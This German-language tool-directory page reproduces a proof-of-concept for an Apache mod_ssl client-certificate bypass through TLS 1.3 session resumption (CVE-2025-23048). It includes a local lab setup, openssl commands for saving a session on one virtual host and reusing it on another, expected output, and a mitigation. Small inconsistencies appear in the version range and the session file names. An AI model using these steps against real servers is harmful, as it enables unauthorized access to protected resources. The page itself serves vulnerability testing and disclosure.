Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/absholi7ly/cve-2025-23048-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsAuthentifizierung
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

Apache HTTP Server Versionen 2.4.35 – 2.4.63 sind anfällig für eine Umgehung der Client-Zertifikat-Authentifizierung, wenn die TLS 1.3-Sitzungswiederaufnahme über virtuelle Hosts mit unterschiedlichen `SSLCACertificateFile`-Direktiven hinweg genutzt wird.

Repository anzeigen
4vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-23048: Apache mod_ssl TLS 1.3 Session Resumption Client Certificate Bypass

Apache HTTP Server Versionen 2.4.35 – 2.4.62 sind anfällig für eine Umgehung der Client-Zertifikatsauthentifizierung, wenn TLS 1.3 Session Resumption über virtuelle Hosts mit unterschiedlichen SSLCACertificateFile-Direktiven verwendet wird.

Ein Angreifer mit einem gültigen Client-Zertifikat für einen virtuellen Host kann eine TLS 1.3-Sitzung auf einem anderen virtuellen Host fortsetzen, der ein von einer anderen CA ausgestelltes Zertifikat erfordert – und erhält so unbefugten Zugriff auf geschützte Ressourcen.


Getestete Umgebung

  • Apache HTTP Server: 2.4.57 (Win64)
  • Betriebssystem: Windows 10 (64-bit)

Server-Setup

1. Apache 2.4.57 (Win64) installieren

root@kitploit:~
# Download von: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# Entpacken nach C:\Apache24

2. Erforderliche Module in conf\httpd.conf aktivieren

root@kitploit:~
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. SSL-Sitzungs-Cache konfigurieren

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. SSL-Verzeichnis erstellen und Zertifikate generieren

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server-Zertifikat (selbstsigniert)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 und Client-Zertifikat für vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 für vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Bereinigung
del client_ca1.csr *.srl

5. Virtuelle Hosts konfigurieren (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. Geschützte Inhalte erstellen

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Apache starten

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

Proof of Concept

Schritt 1: Vollständiger Handshake mit vhost1 → Sitzung speichern

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

Eingabe nach Verbindung:

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

Erwartete Ausgabe (gekürzt):

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

Sitzungsticket gespeichert in session_shared.pem.


Schritt 2: Sitzung auf vhost2 fortsetzen → geschützten Pfad zugreifen

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

Eingabe:

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

Erwartete Ausgabe (Kritisch):

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

Client-Zertifikat von CA1 wurde auf vhost2 akzeptiert (der nur CA2 vertraut)
Keine erneute Authentifizierung erfolgt – Sitzungswiederaufnahme hat CA-Überprüfung umgangen


Abhilfemaßnahmen

root@kitploit:~
SSLStrictSNIVHostCheck on

in allen TLS 1.3 virtuellen Hosts, die unterschiedliche Client-CAs benötigen.

Deaktiviert die Cross-SNI-Sitzungswiederaufnahme – verhindert Umgehung.

Tool herunterladen